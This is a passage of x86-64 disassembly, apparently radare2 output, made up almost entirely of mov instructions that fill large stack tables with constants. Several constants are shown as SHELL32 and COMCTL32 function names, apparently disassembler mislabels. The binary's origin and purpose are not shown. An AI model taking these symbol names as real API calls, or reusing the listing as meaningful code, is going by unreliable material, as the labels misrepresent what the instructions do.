mov dword [rsp + 0x5aa8], 0x8d7
mov dword [rsp + 0x5aac], 0x6a79bd9e
movabs rax, 0x77576e9cb78060
mov qword [rsp + 0xa7f0], rax
movabs rax, 0x7cfe5fb98b9cd1
mov qword [rsp + 0xa7f8], rax
mov eax, 0x792
mov word [rsp + 0x12b4], ax
mov dword [rsp + 0x5ab0], 0x2f58955c
mov eax, 0x309
mov word [rsp + 0x12b8], ax
mov byte [rsp + 0x1b6], PathYetAnotherMakeUniqueName
movabs rax, 0x726551764c6a90
mov qword [rsp + 0xa800], rax
mov dword [rsp + 0x5ab4], 0xe9d6
mov eax, 0x7c1
mov word [rsp + 0x12bc], ax
movabs rax, 0x7b106ad3d17613
mov qword [rsp + 0xa808], rax
mov byte [rsp + 0x1b7], 0x31
mov eax, 0x249
mov word [rsp + 0x12c0], ax
mov eax, 0x2df
mov word [rsp + 0x12c4], ax
mov eax, 0x215
mov word [rsp + 0x12c8], ax
movabs rax, 0x74cbe0ef7bb5b8
mov qword [rsp + 0xa810], rax
mov dword [rsp + 0x5ab8], 0xab81
mov dword [rsp + 0x5abc], 0x54ea33fd
movabs rax, 0x74d26203598270
mov qword [rsp + 0xa818], rax
mov byte [rsp + 0x1b8], ILSaveToStream
movabs rax, 0x7617ed8573d259
mov qword [rsp + 0xa820], rax
mov dword [rsp + 0x5ac0], 0x1f16f7e8
mov eax, 0x65e
mov word [rsp + 0x12cc], ax
mov eax, 0xc97
mov word [rsp + 0x12d0], ax
mov eax, 0x369
mov word [rsp + 0x12d4], ax
mov dword [rsp + 0x5ac4], 0x6505
mov dword [rsp + 0x5ac8], 0x85b3
movabs rax, 0x7127450f6a517f
mov qword [rsp + 0xa828], rax
mov eax, 0xbcd
mov word [rsp + 0x12d8], ax
movabs rax, 0x7adc058d0b18e3
mov qword [rsp + 0xa830], rax
mov byte [rsp + 0x1b9], 0x7d
mov eax, 0x3b8
mov word [rsp + 0x12dc], ax
mov dword [rsp + 0x5acc], 0x35114dca
movabs rax, 0x71d693b5418786
mov qword [rsp + 0xa838], rax
mov dword [rsp + 0x5ad0], 0x4ed0
mov dword [rsp + 0x5ad4], 0x2c10
mov eax, 0xde8
mov word [rsp + 0x12e0], ax
mov eax, 0x2ae
mov word [rsp + 0x12e4], ax
mov eax, 0xb12
mov word [rsp + 0x12e8], ax
movabs rax, 0x7e4a525e3540bf
mov qword [rsp + 0xa840], rax
mov dword [rsp + 0x5ad8], 0xfbfa
mov byte [rsp + 0x1ba], 0x7b
mov eax, 0x9b2
mov word [rsp + 0x12ec], ax
movabs rax, 0x720f6c558519b7
mov qword [rsp + 0xa848], rax
mov byte [rsp + 0x1bb], SHDoDragDrop
mov eax, 0x695
mov word [rsp + 0x12f0], ax
movabs rax, 0x7be1dca5b1f2b4
mov qword [rsp + 0xa850], rax
mov byte [rsp + 0x1bc], 0x69
movabs rax, 0x7ccefea978257b
mov qword [rsp + 0xa858], rax
mov eax, 0x7fe
mov word [rsp + 0x12f4], ax
movabs rax, 0x71618a6321bcec
mov qword [rsp + 0xa860], rax
mov eax, 0xeac
mov word [rsp + 0x12f8], ax
mov eax, 0x256
mov word [rsp + 0x12fc], ax
movabs rax, 0x76fbefcfcd83ec
mov qword [rsp + 0xa868], rax
movabs rax, 0x78b7894e95070a
mov qword [rsp + 0xa870], rax
mov byte [rsp + 0x1bd], 0x3c
mov eax, 0x523
mov word [rsp + 0x1300], ax
mov byte [rsp + 0x1be], 0xcb
mov eax, 0xce5
mov word [rsp + 0x1304], ax
mov eax, 0x584
mov word [rsp + 0x1308], ax
movabs rax, 0x7cfcdc72346491
mov qword [rsp + 0xa878], rax
movabs rax, 0x70a2debabb9b2d
mov qword [rsp + 0xa880], rax
movabs rax, 0x7291940267ea1e
mov qword [rsp + 0xa888], rax
mov dword [rsp + 0x5adc], 0x36de5522
mov dword [rsp + 0x5ae0], 0x79c1
mov dword [rsp + 0x5ae4], 0xe560
movabs rax, 0x7db30143a8cc94
mov qword [rsp + 0xa890], rax
mov byte [rsp + 0x1bf], PathMakeUniqueName
movabs rax, 0x70c44632807489
mov qword [rsp + 0xa898], rax
mov dword [rsp + 0x5ae8], 0xf0d3
mov eax, 0x61a
mov word [rsp + 0x130c], ax
mov eax, 0x5f0
mov word [rsp + 0x1310], ax
movabs rax, 0x70a941389d2a51
mov qword [rsp + 0xa8a0], rax
mov dword [rsp + 0x5aec], 0xb658
mov eax, 0x65e
mov word [rsp + 0x1314], ax
mov dword [rsp + 0x5af0], 0x1cbc
movabs rax, 0x764178f5389d32
mov qword [rsp + 0xa8a8], rax
mov byte [rsp + 0x1c0], 0x6f
mov eax, 0x407
mov word [rsp + 0x1318], ax
mov byte [rsp + 0x1c1], 0x6b
mov eax, 0x2c1
mov word [rsp + 0x131c], ax
mov dword [rsp + 0x5af4], 0x29d0
mov dword [rsp + 0x5af8], 0x6a90d307
mov dword [rsp + 0x5afc], 0x8e388d1
movabs rax, 0x74579e05666968
mov qword [rsp + 0xa8b0], rax
mov dword [rsp + 0x5b00], 0x14f02fff
movabs rax, 0x714b123a104e15
mov qword [rsp + 0xa8b8], rax
mov eax, 0xa5d
mov word [rsp + 0x1320], ax
mov eax, 0xb2c
mov word [rsp + 0x1324], ax
mov byte [rsp + 0x1c2], 0x3d
movabs rax, 0x789f02706faa13
mov qword [rsp + 0xa8c0], rax
mov eax, 0x2a8
mov word [rsp + 0x1328], ax
movabs rax, 0x7613e3ccd0cba6
mov qword [rsp + 0xa8c8], rax
mov eax, 0x86d
mov word [rsp + 0x132c], ax
mov byte [rsp + 0x1c3], 0xd5
mov byte [rsp + 0x1c4], 0x3a
movabs rax, 0x7e7d9a66351a75
mov qword [rsp + 0xa8d0], rax
mov eax, 0xa2b
mov word [rsp + 0x1330], ax
mov eax, 0x4fc
mov word [rsp + 0x1334], ax
mov byte [rsp + 0x1c5], 0xd7
movabs rax, 0x7b64ac7cb8d5df
mov qword [rsp + 0xa8d8], rax
movabs rax, 0x71c3bff0212780
mov qword [rsp + 0xa8e0], rax
mov dword [rsp + 0x5b04], 0x7de56fdd
movabs rax, 0x7b7921fe11cd5f
mov qword [rsp + 0xa8e8], rax
mov dword [rsp + 0x5b08], 0xabb0
movabs rax, 0x79996a6ab30e6b
mov qword [rsp + 0xa8f0], rax
mov dword [rsp + 0x5b0c], 0xaf93
mov eax, 0xa0e
mov word [rsp + 0x1338], ax
mov eax, 0x846
mov word [rsp + 0x133c], ax
movabs rax, 0x7c5899be2ab5d1
mov qword [rsp + 0xa8f8], rax
mov dword [rsp + 0x5b10], 0x37b8c7e
movabs rax, 0x7a435109d64aac
mov qword [rsp + 0xa900], rax
mov byte [rsp + 0x1c6], 0x3a
mov byte [rsp + 0x1c7], SHDoDragDrop
mov dword [rsp + 0x5b14], 0x510b7c70
movabs rax, 0x766923f00f7c59
mov qword [rsp + 0xa908], rax
movabs rax, 0x72af9c82656fb3
mov qword [rsp + 0xa910], rax
movabs rax, 0x7590ef12fd2e86
mov qword [rsp + 0xa918], rax
movabs rax, 0x74193c89b4a723
mov qword [rsp + 0xa920], rax
mov byte [rsp + 0x1c8], 0x7d
movabs rax, 0x752f9b684527bd
mov qword [rsp + 0xa928], rax
mov byte [rsp + 0x1c9], 0x5a
mov byte [rsp + 0x1ca], 0x62
mov byte [rsp + 0x1cb], 0x5b
mov byte [rsp + 0x1cc], 0x7c
mov byte [rsp + 0x1cd], 0x66
movabs rax, 0x73bf968baa2d11
mov qword [rsp + 0xa930], rax
mov eax, 0x60c
mov word [rsp + 0x1340], ax
mov dword [rsp + 0x5b18], 0xb3a2
mov dword [rsp + 0x5b1c], 0x5052
mov eax, 0xfb
mov word [rsp + 0x1344], ax
mov eax, reloc.SHELL32.dll_SHDoDragDrop
mov word [rsp + 0x1348], ax
mov eax, 0xfc
mov word [rsp + 0x134c], ax
mov dword [rsp + 0x5b20], 0xa0b5
movabs rax, 0x7e6e2c89902aed
mov qword [rsp + 0xa938], rax
mov eax, 0x67e
mov word [rsp + 0x1350], ax
mov eax, 0x2e3
mov word [rsp + 0x1354], ax
mov eax, 0x6a6
mov word [rsp + 0x1358], ax
mov eax, 0x6d2
mov word [rsp + 0x135c], ax
mov byte [rsp + 0x1ce], 0x39
mov byte [rsp + 0x1cf], ILIsEqual
movabs rax, 0x727036e8450448
mov qword [rsp + 0xa940], rax
mov byte [rsp + 0x1d0], 0x73
mov dword [rsp + 0x5b24], 0x7f9
mov byte [rsp + 0x1d1], 0x6d
mov eax, 0x8b2
mov word [rsp + 0x1360], ax
mov dword [rsp + 0x5b28], 0x2921
mov dword [rsp + 0x5b2c], 0x545d2706
mov byte [rsp + 0x1d2], ILGetSize
mov eax, 0x6e
mov word [rsp + 0x1364], ax
mov byte [rsp + 0x1d3], 9
mov eax, 0x22b
mov word [rsp + 0x1368], ax
movabs rax, 0x76074f58ffb41c
mov qword [rsp + 0xa948], rax
movabs rax, 0x742cc37b4ec5cd
mov qword [rsp + 0xa950], rax
mov eax, 0x157
mov word [rsp + 0x136c], ax
mov dword [rsp + 0x5b30], 0x5455ad91
mov eax, 0x64a
mov word [rsp + 0x1370], ax
movabs rax, 0x7a4d98ac33b48f
mov qword [rsp + 0xa958], rax
movabs rax, 0x728f998b14b5b2
mov qword [rsp + 0xa960], rax
movabs rax, 0x773eb2d63ef0c0
mov qword [rsp + 0xa968], rax
mov dword [rsp + 0x5b34], 0x641d21e3
movabs rax, 0x73431d4a66cc42
mov qword [rsp + 0xa970], rax
mov dword [rsp + 0x5b38], 0x5741
mov eax, 0xe96
mov word [rsp + 0x1374], ax
mov byte [rsp + 0x1d4], 0x75
movabs rax, 0x75e755228bda19
mov qword [rsp + 0xa978], rax
mov eax, 0x878
mov word [rsp + 0x1378], ax
mov eax, SHGetNewLinkInfoW
mov word [rsp + 0x137c], ax
movabs rax, 0x7274566f512ee8
mov qword [rsp + 0xa980], rax
movabs rax, 0x74f84cba88e62a
mov qword [rsp + 0xa988], rax
mov eax, 0x26d
mov word [rsp + 0x1380], ax
movabs rax, 0x701dc01b7f85d2
mov qword [rsp + 0xa990], rax
mov dword [rsp + 0x5b3c], 0x48a8eae6
mov dword [rsp + 0x5b40], 0x76b1594d
mov eax, 0x1d3
mov word [rsp + 0x1384], ax
mov dword [rsp + 0x5b44], 0xe7ec
movabs rax, 0x74a58130789cfb
mov qword [rsp + 0xa998], rax
movabs rax, 0x790b479384867c
mov qword [rsp + 0xa9a0], rax
mov byte [rsp + 0x1d5], 0x76
mov byte [rsp + 0x1d6], 0x7e
mov eax, 0xca2
mov word [rsp + 0x1388], ax
mov dword [rsp + 0x5b48], 0x335c8fdb
movabs rax, 0x770713dc8c9c73
mov qword [rsp + 0xa9a8], rax
mov eax, 0x426
mov word [rsp + 0x138c], ax
mov eax, 0x6c2
mov word [rsp + 0x1390], ax
mov dword [rsp + 0x5b4c], 0x3ee4e98d
mov byte [rsp + 0x1d7], SHDoDragDrop
mov eax, 0xb10
mov word [rsp + 0x1394], ax
mov dword [rsp + 0x5b50], 0x4b6a
mov eax, 0xf34
mov word [rsp + 0x1398], ax
movabs rax, 0x70368f1a9a3e0a
mov qword [rsp + 0xa9b0], rax
mov eax, 0xea0
mov word [rsp + 0x139c], ax
movabs rax, 0x7daacb17a2fa5a
mov qword [rsp + 0xa9b8], rax
mov dword [rsp + 0x5b54], 0xa4bf
movabs rax, 0x7e59ccb1412e3c
mov qword [rsp + 0xa9c0], rax
movabs rax, 0x7e253fceeb532c
mov qword [rsp + 0xa9c8], rax
mov eax, 0xe5b
mov word [rsp + 0x13a0], ax
movabs rax, 0x7b644f8ed0c990
mov qword [rsp + 0xa9d0], rax
movabs rax, 0x7ba86812b087b2
mov qword [rsp + 0xa9d8], rax
movabs rax, 0x794b87637c4b8a
mov qword [rsp + 0xa9e0], rax
mov byte [rsp + 0x1d8], 0x1d
mov byte [rsp + 0x1d9], reloc.COMCTL32.dll_MakeDragList
movabs rax, 0x760cdca4276ea2
mov qword [rsp + 0xa9e8], rax
mov byte [rsp + 0x1da], 0x60
mov dword [rsp + 0x5b58], 0x29b54b5c
mov dword [rsp + 0x5b5c], 0x47708012
mov eax, 0x56f
mov word [rsp + 0x13a4], ax
mov dword [rsp + 0x5b60], 0xe9ec
mov eax, 0x2fc
mov word [rsp + 0x13a8], ax
mov dword [rsp + 0x5b64], 0xe582
mov eax, 0x42d
mov word [rsp + 0x13ac], ax
movabs rax, 0x7c583d4117949b
mov qword [rsp + 0xa9f0], rax
movabs rax, 0x775b8f3fc994e5
mov qword [rsp + 0xa9f8], rax
mov eax, MakeDragList
mov word [rsp + 0x13b0], ax
mov eax, 0x3a2
mov word [rsp + 0x13b4], ax
mov eax, 0x2cf
mov word [rsp + 0x13b8], ax
mov dword [rsp + 0x5b68], 0x8354
mov dword [rsp + 0x5b6c], 0x41b3
movabs rax, 0x7737d643ef0788
mov qword [rsp + 0xaa00], rax
movabs rax, 0x7ba1d90a855bfa
mov qword [rsp + 0xaa08], rax
mov dword [rsp + 0x5b70], 0x5037220a
mov eax, 0x1b1
mov word [rsp + 0x13bc], ax
movabs rax, 0x7a6cc7d538cc24
mov qword [rsp + 0xaa10], rax
mov eax, 0x2a7
mov word [rsp + 0x13c0], ax
movabs rax, 0x75536b6dd29d67
mov qword [rsp + 0xaa18], rax
mov byte [rsp + 0x1db], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x1dc], 0x74
movabs rax, 0x794bf65f370ab1
mov qword [rsp + 0xaa20], rax
mov eax, 0x133
mov word [rsp + 0x13c4], ax
mov dword [rsp + 0x5b74], 0x39866dde
mov dword [rsp + 0x5b78], 0x15b36094
mov dword [rsp + 0x5b7c], 0x1e67
mov eax, 0x70c
mov word [rsp + 0x13c8], ax
movabs rax, 0x7673177e5a1530
mov qword [rsp + 0xaa28], rax
mov eax, 0xc95
mov word [rsp + 0x13cc], ax
movabs rax, 0x71e7882463d285
mov qword [rsp + 0xaa30], rax
mov eax, 0x1f4
mov word [rsp + 0x13d0], ax
movabs rax, 0x7840957923f7c8
mov qword [rsp + 0xaa38], rax
mov dword [rsp + 0x5b80], 0x569629b0
mov eax, 0x154
mov word [rsp + 0x13d4], ax
movabs rax, 0x79b0f10e264060
mov qword [rsp + 0xaa40], rax
mov dword [rsp + 0x5b84], 0x55f8
movabs rax, 0x7a164484d8349e
mov qword [rsp + 0xaa48], rax
mov byte [rsp + 0x1dd], 6
mov dword [rsp + 0x5b88], 0x9f8f
movabs rax, 0x7448b031f234a9
mov qword [rsp + 0xaa50], rax
movabs rax, 0x731bd0083825c5
mov qword [rsp + 0xaa58], rax
mov dword [rsp + 0x5b8c], 0x459
mov dword [rsp + 0x5b90], 0x1d28
mov eax, 0x75f
mov word [rsp + 0x13d8], ax
movabs rax, 0x7646e5deb27972
mov qword [rsp + 0xaa60], rax
mov dword [rsp + 0x5b94], 0x4fee9ae1
mov byte [rsp + 0x1de], SHSetInstanceExplorer
mov eax, 0x44a
mov word [rsp + 0x13dc], ax
mov dword [rsp + 0x5b98], 0x77ffeca5
mov eax, 0x209
mov word [rsp + 0x13e0], ax
mov byte [rsp + 0x1df], ILIsEqual
mov byte [rsp + 0x1e0], SHDoDragDrop
movabs rax, 0x70d18b5c164582
mov qword [rsp + 0xaa68], rax
mov dword [rsp + 0x5b9c], 0x2e0d156c
mov eax, 0x5f6
mov word [rsp + 0x13e4], ax
mov byte [rsp + 0x1e1], reloc.SHELL32.dll_ILFindChild
mov byte [rsp + 0x1e2], reloc.SHELL32.dll_ILSaveToStream
movabs rax, 0x7814c98f40d701
mov qword [rsp + 0xaa70], rax
mov eax, 0x703
mov word [rsp + 0x13e8], ax
movabs rax, 0x745153134d5958
mov qword [rsp + 0xaa78], rax
mov dword [rsp + 0x5ba0], 0x6aaf22c4
mov eax, 0xd60
mov word [rsp + 0x13ec], ax
movabs rax, 0x78967ee1054b97
mov qword [rsp + 0xaa80], rax
movabs rax, 0x7ca9eafea0ae19
mov qword [rsp + 0xaa88], rax
movabs rax, 0x7499fa84d5faf1
mov qword [rsp + 0xaa90], rax
movabs rax, 0x72de523703236a
mov qword [rsp + 0xaa98], rax
mov dword [rsp + 0x5ba4], 0x3ae79c10
movabs rax, 0x76c5ecb7e20def
mov qword [rsp + 0xaaa0], rax
mov eax, 0x236
mov word [rsp + 0x13f0], ax
movabs rax, 0x76ea3e727e9ff1
mov qword [rsp + 0xaaa8], rax
mov byte [rsp + 0x1e3], SHDoDragDrop
movabs rax, 0x71777a0f07a6fd
mov qword [rsp + 0xaab0], rax
mov byte [rsp + 0x1e4], ILIsEqual
mov eax, 0x269
mov word [rsp + 0x13f4], ax
mov eax, 0x68e
mov word [rsp + 0x13f8], ax
mov dword [rsp + 0x5ba8], 0x44456c8
mov byte [rsp + 0x1e5], 0x34
mov dword [rsp + 0x5bac], 0xf0a6
mov byte [rsp + 0x1e6], reloc.SHELL32.dll_ILFindChild
movabs rax, 0x7e6cd317aced68
mov qword [rsp + 0xaab8], rax
movabs rax, 0x7d31e2db58dca7
mov qword [rsp + 0xaac0], rax
movabs rax, 0x77c93ee57e58f2
mov qword [rsp + 0xaac8], rax
mov eax, 0x720
mov word [rsp + 0x13fc], ax
mov eax, 0x22d
mov word [rsp + 0x1400], ax
mov byte [rsp + 0x1e7], 0x3f
movabs rax, 0x7c390b43274d84
mov qword [rsp + 0xaad0], rax
movabs rax, 0x70304ee9efd9c5
mov qword [rsp + 0xaad8], rax
mov eax, 0xf32
mov word [rsp + 0x1404], ax
mov byte [rsp + 0x1e8], 0
movabs rax, 0x7ede31be739594
mov qword [rsp + 0xaae0], rax
mov byte [rsp + 0x1e9], 0x73
mov byte [rsp + 0x1ea], 0xa1
mov dword [rsp + 0x5bb0], 0x406b2e97
movabs rax, 0x7085b42731494b
mov qword [rsp + 0xaae8], rax
movabs rax, 0x79cbfe0fc88d48
mov qword [rsp + 0xaaf0], rax
movabs rax, 0x71588ce7530d54
mov qword [rsp + 0xaaf8], rax
mov byte [rsp + 0x1eb], 0x42
mov dword [rsp + 0x5bb4], 0x53360b00
mov dword [rsp + 0x5bb8], 0x4694
mov byte [rsp + 0x1ec], 0x67
mov eax, 0x4ab
mov word [rsp + 0x1408], ax
mov byte [rsp + 0x1ed], 0x21
mov byte [rsp + 0x1ee], 0x79
mov eax, 0x345
mov word [rsp + 0x140c], ax
mov dword [rsp + 0x5bbc], 0x3646
movabs rax, 0x77e2e6db5b2149
mov qword [rsp + 0xab00], rax
movabs rax, 0x773bbd567ed82d
mov qword [rsp + 0xab08], rax
mov eax, SHGetImageList
mov word [rsp + 0x1410], ax
mov dword [rsp + 0x5bc0], 0x31de
mov byte [rsp + 0x1ef], 0x77
movabs rax, 0x758408d7e1a1f8
mov qword [rsp + 0xab10], rax
mov dword [rsp + 0x5bc4], 0xc860
mov byte [rsp + 0x1f0], 0x71
mov dword [rsp + 0x5bc8], 0xe9d1
mov dword [rsp + 0x5bcc], 0x9455
mov eax, 0x9d7
mov word [rsp + 0x1414], ax
mov byte [rsp + 0x1f1], 0x7c
movabs rax, 0x7204ea3bc4feca
mov qword [rsp + 0xab18], rax
movabs rax, 0x708564a5115344
mov qword [rsp + 0xab20], rax
mov eax, 0xd67
mov word [rsp + 0x1418], ax
mov dword [rsp + 0x5bd0], 0xa437
movabs rax, 0x7778d8ddd526d9
mov qword [rsp + 0xab28], rax
mov byte [rsp + 0x1f2], 0x4c
mov eax, 0x8a6
mov word [rsp + 0x141c], ax
mov byte [rsp + 0x1f3], 0x64
mov dword [rsp + 0x5bd4], 0x29a37739
mov dword [rsp + 0x5bd8], 0x63e5
mov dword [rsp + 0x5bdc], 0xec4b
mov dword [rsp + 0x5be0], 0x7b5a
mov eax, 0x223
mov word [rsp + 0x1420], ax
mov eax, 0x10b
mov word [rsp + 0x1424], ax
movabs rax, 0x7ac3277608c0af
mov qword [rsp + 0xab30], rax
mov byte [rsp + 0x1f4], reloc.SHELL32.dll_ILFindLastID
mov eax, 0x62d
mov word [rsp + 0x1428], ax
movabs rax, 0x753e4aa277f1ea
mov qword [rsp + 0xab38], rax
mov eax, 0x3b0
mov word [rsp + 0x142c], ax
mov eax, 0x9c9
mov word [rsp + 0x1430], ax
mov dword [rsp + 0x5be4], 0xfc4f
movabs rax, 0x7e48eebd09e91b
mov qword [rsp + 0xab40], rax
movabs rax, 0x7438ac3eeabafa
mov qword [rsp + 0xab48], rax
movabs rax, 0x72aaeafc2eae61
mov qword [rsp + 0xab50], rax
mov dword [rsp + 0x5be8], 0xdba7
movabs rax, 0x7aa32db53aa97f
mov qword [rsp + 0xab58], rax
mov dword [rsp + 0x5bec], 0x6dce6af7
mov eax, 0x6f6
mov word [rsp + 0x1434], ax
mov eax, 0x6c9
mov word [rsp + 0x1438], ax
mov dword [rsp + 0x5bf0], 0x3e355c69
movabs rax, 0x7440cdcb50ede3
mov qword [rsp + 0xab60], rax
mov eax, 0x43b
mov word [rsp + 0x143c], ax
mov eax, 0xa15
mov word [rsp + 0x1440], ax
mov eax, 0xac8
mov word [rsp + 0x1444], ax
movabs rax, 0x7aa2b0c56c3e84
mov qword [rsp + 0xab68], rax
movabs rax, 0x77b91c9c901f1a
mov qword [rsp + 0xab70], rax
mov byte [rsp + 0x1f5], 0xba
mov dword [rsp + 0x5bf4], 0x9bd6
movabs rax, 0x72950fcd4ed7b3
mov qword [rsp + 0xab78], rax
mov eax, 0xeb
mov word [rsp + 0x1448], ax
mov byte [rsp + 0x1f6], 0xf8
mov eax, 0x4de
mov word [rsp + 0x144c], ax
mov dword [rsp + 0x5bf8], 0x9d5f
mov eax, 0x1d4
mov word [rsp + 0x1450], ax
movabs rax, 0x7da3aa285202fa
mov qword [rsp + 0xab80], rax
mov dword [rsp + 0x5bfc], 0x67493b32
mov eax, 0x53c
mov word [rsp + 0x1454], ax
mov eax, 0x339
mov word [rsp + 0x1458], ax
mov dword [rsp + 0x5c00], 0x7921
mov eax, 0x26
mov word [rsp + 0x145c], ax
movabs rax, 0x7983d810bdd780
mov qword [rsp + 0xab88], rax
mov dword [rsp + 0x5c04], 0xaa9e
mov byte [rsp + 0x1f7], 0x4c
mov eax, 0x212
mov word [rsp + 0x1460], ax
movabs rax, 0x77cb3c38ca4e9b
mov qword [rsp + 0xab90], rax
movabs rax, 0x7bdf427a88d318
mov qword [rsp + 0xab98], rax
movabs rax, 0x7944bf808526d5
mov qword [rsp + 0xaba0], rax
mov dword [rsp + 0x5c08], 0xcaec
mov byte [rsp + 0x1f8], 0x3a
mov eax, 0x8e4
mov word [rsp + 0x1464], ax
mov eax, 0xad5
mov word [rsp + 0x1468], ax
mov eax, 0x520
mov word [rsp + 0x146c], ax
mov eax, 0x6ce
mov word [rsp + 0x1470], ax
mov byte [rsp + 0x1f9], 0x7b
movabs rax, 0x7929ae675ab323
mov qword [rsp + 0xaba8], rax
mov dword [rsp + 0x5c0c], 0x31ce1902
movabs rax, 0x78bd7c489752d2
mov qword [rsp + 0xabb0], rax
mov eax, 0x4fb
mov word [rsp + 0x1474], ax
mov dword [rsp + 0x5c10], 0xdb34
mov eax, 0xf93
mov word [rsp + 0x1478], ax
movabs rax, 0x728dcab0d0b9e5
mov qword [rsp + 0xabb8], rax
mov eax, 0x25b
mov word [rsp + 0x147c], ax
movabs rax, 0x7d1c51d3d87f97
mov qword [rsp + 0xabc0], rax
mov eax, 0xe56
mov word [rsp + 0x1480], ax
movabs rax, 0x7b8dbf714c5d13
mov qword [rsp + 0xabc8], rax
mov dword [rsp + 0x5c14], 0xfe20
mov eax, 0x2cb
mov word [rsp + 0x1484], ax
movabs rax, 0x728f5792c17fb5
mov qword [rsp + 0xabd0], rax
mov byte [rsp + 0x1fa], reloc.COMCTL32.dll_LBItemFromPt
mov dword [rsp + 0x5c18], 0x624b
mov eax, 0xf6c
mov word [rsp + 0x1488], ax
movabs rax, 0x73b56c5b000b1f
mov qword [rsp + 0xabd8], rax
movabs rax, 0x7be4fe0ba3263e
mov qword [rsp + 0xabe0], rax
mov eax, 0xc9c
mov word [rsp + 0x148c], ax
mov byte [rsp + 0x1fb], 0x26
mov byte [rsp + 0x1fc], 0x38
mov eax, 0x138
mov word [rsp + 0x1490], ax
movabs rax, 0x7a3ffd8d5f0de7
mov qword [rsp + 0xabe8], rax
movabs rax, 0x779071b3bf128e
mov qword [rsp + 0xabf0], rax
mov eax, 0x249
mov word [rsp + 0x1494], ax
movabs rax, 0x75b9d03102d117
mov qword [rsp + 0xabf8], rax
mov byte [rsp + 0x1fd], PathYetAnotherMakeUniqueName
movabs rax, 0x73d2b7dcecd2d0
mov qword [rsp + 0xac00], rax
mov dword [rsp + 0x5c1c], 0xca75
mov eax, 0xe0c
mov word [rsp + 0x1498], ax
movabs rax, 0x7dc467e2c455d8
mov qword [rsp + 0xac08], rax
movabs rax, 0x745bedc8d8ba0c
mov qword [rsp + 0xac10], rax
movabs rax, 0x76a3d8426b7428
mov qword [rsp + 0xac18], rax
mov byte [rsp + 0x1fe], 0x84
mov byte [rsp + 0x1ff], 0x3f
mov dword [rsp + 0x5c20], 0x71ba
mov eax, 0xe2d
mov word [rsp + 0x149c], ax
mov dword [rsp + 0x5c24], 0x6f4f5ac6
mov eax, 0xda5
mov word [rsp + 0x14a0], ax
movabs rax, 0x78f95bf8dab090
mov qword [rsp + 0xac20], rax
mov eax, 0x26e
mov word [rsp + 0x14a4], ax
movabs rax, 0x72d88947538d59
mov qword [rsp + 0xac28], rax
movabs rax, 0x7cb51a2ce2ac9f
mov qword [rsp + 0xac30], rax
mov dword [rsp + 0x5c28], 0x10cc
movabs rax, 0x72ca8e70bc879e
mov qword [rsp + 0xac38], rax
mov dword [rsp + 0x5c2c], 0x6d102bd
movabs rax, 0x7ed65715240025
mov qword [rsp + 0xac40], rax
mov byte [rsp + 0x200], 4
mov byte [rsp + 0x201], SHSetInstanceExplorer
mov eax, 0x4ea
mov word [rsp + 0x14a8], ax
movabs rax, 0x7a7c38636bc777
mov qword [rsp + 0xac48], rax
movabs rax, 0x70302236bd50e1
mov qword [rsp + 0xac50], rax
movabs rax, 0x7dae3a0df2a1a7
mov qword [rsp + 0xac58], rax
movabs rax, 0x70a06531cc0958
mov qword [rsp + 0xac60], rax
mov eax, 0x2ad
mov word [rsp + 0x14ac], ax
movabs rax, 0x73cd0a70d8b955
mov qword [rsp + 0xac68], rax
mov eax, 0x43
mov word [rsp + 0x14b0], ax
movabs rax, 0x793bf855089df5
mov qword [rsp + 0xac70], rax
movabs rax, 0x771764e92515f1
mov qword [rsp + 0xac78], rax
mov eax, 0x7c
mov word [rsp + 0x14b4], ax
movabs rax, 0x717c2d6ae1ec1e
mov qword [rsp + 0xac80], rax
mov eax, 0x7e5
mov word [rsp + 0x14b8], ax
mov byte [rsp + 0x202], 0xfe
movabs rax, 0x7b38acd8a214d3
mov qword [rsp + 0xac88], rax
movabs rax, 0x74a3b9614fa534
mov qword [rsp + 0xac90], rax
mov byte [rsp + 0x203], ILFindLastID
mov dword [rsp + 0x5c30], 0x3578f1d6
mov eax, 0x275
mov word [rsp + 0x14bc], ax
movabs rax, 0x76066cb9dde9b5
mov qword [rsp + 0xac98], rax
mov eax, 0x307
mov word [rsp + 0x14c0], ax
mov eax, 0x7c7
mov word [rsp + 0x14c4], ax
mov eax, 0x31b
mov word [rsp + 0x14c8], ax
movabs rax, 0x7d03eb54681bfe
mov qword [rsp + 0xaca0], rax
mov byte [rsp + 0x204], 0xbd
movabs rax, 0x7ef75c8d48a769
mov qword [rsp + 0xaca8], rax
movabs rax, 0x7eacbb1860a686
mov qword [rsp + 0xacb0], rax
mov eax, 0x105
mov word [rsp + 0x14cc], ax
mov byte [rsp + 0x205], 0x6e
mov eax, reloc.SHELL32.dll_ILIsEqual
mov word [rsp + 0x14d0], ax
movabs rax, 0x7636deb0266888
mov qword [rsp + 0xacb8], rax
movabs rax, 0x750a28a80e8d67
mov qword [rsp + 0xacc0], rax
movabs rax, 0x753a2f03b5a4e7
mov qword [rsp + 0xacc8], rax
mov dword [rsp + 0x5c34], 0x6031882b
movabs rax, 0x72aa20e85eac44
mov qword [rsp + 0xacd0], rax
mov dword [rsp + 0x5c38], 0x56370392
mov eax, 0x260
mov word [rsp + 0x14d4], ax
movabs rax, 0x74fbf4fb1a66a8
mov qword [rsp + 0xacd8], rax
mov dword [rsp + 0x5c3c], 0x41d2757c
mov eax, 0x43f
mov word [rsp + 0x14d8], ax
mov byte [rsp + 0x206], 0x33
mov byte [rsp + 0x207], 0x59
mov byte [rsp + 0x208], 0x1e
mov eax, 0xdc4
mov word [rsp + 0x14dc], ax
mov byte [rsp + 0x209], 0x1d
mov eax, 0x179
mov word [rsp + 0x14e0], ax
movabs rax, 0x79cb348a408f2b
mov qword [rsp + 0xace0], rax
movabs rax, 0x7b86a45d3fc88c
mov qword [rsp + 0xace8], rax
movabs rax, 0x7d56e9cfa53bf7
mov qword [rsp + 0xacf0], rax
mov eax, 0x14c
mov word [rsp + 0x14e4], ax
mov eax, 0x30
mov word [rsp + 0x14e8], ax
mov eax, 0xb59
mov word [rsp + 0x14ec], ax
mov eax, 0xb46
mov word [rsp + 0x14f0], ax
mov eax, 0x620
mov word [rsp + 0x14f4], ax
mov eax, 0xc94
mov word [rsp + 0x14f8], ax
mov eax, 0x6ae
mov word [rsp + 0x14fc], ax
mov byte [rsp + 0x20a], 0x60
mov eax, 0x124
mov word [rsp + 0x1500], ax
mov eax, 0xa32
mov word [rsp + 0x1504], ax
mov eax, 0x8a0
mov word [rsp + 0x1508], ax
movabs rax, 0x71a64b77c35005
mov qword [rsp + 0xacf8], rax
mov byte [rsp + 0x20b], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x5c40], 0x344d2d35
mov eax, 0x2a2
